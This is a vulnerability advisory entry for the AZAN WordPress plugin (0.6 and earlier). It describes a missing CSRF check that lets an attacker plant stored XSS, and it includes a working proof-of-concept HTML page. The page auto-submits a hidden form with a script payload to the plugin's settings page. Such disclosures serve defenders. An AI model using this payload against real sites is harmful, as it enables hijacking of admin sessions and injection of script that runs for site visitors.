Lucene search

K
wpexploitBob MatyasWPEX-ID:19CD60DD-8599-4AF3-99DB-C42DE504606C
HistoryMay 24, 2024 - 12:00 a.m.

AZAN Plugin <= 0.6 - Stored XSS via CSRF

2024-05-2400:00:00
Bob Matyas
8
azan plugin
stored xss
csrf
admin
html
exploit

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()"><form action="http://example.com/wp-admin/options-general.php?page=azan" method="post"><input type="hidden" name="azan-lat" value="1" /><input type="hidden" name="azan-lng" value="2" /><input type="hidden" name="azan_custom_cities" value='csrf<script>alert(999)</script>,2,2,3' /><input type="hidden" name="azan-city" value="32" /><input type="submit" value="Submit" /></form></body>
```

If the widget is loaded on a page, the XSS will trigger

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

Related for WPEX-ID:19CD60DD-8599-4AF3-99DB-C42DE504606C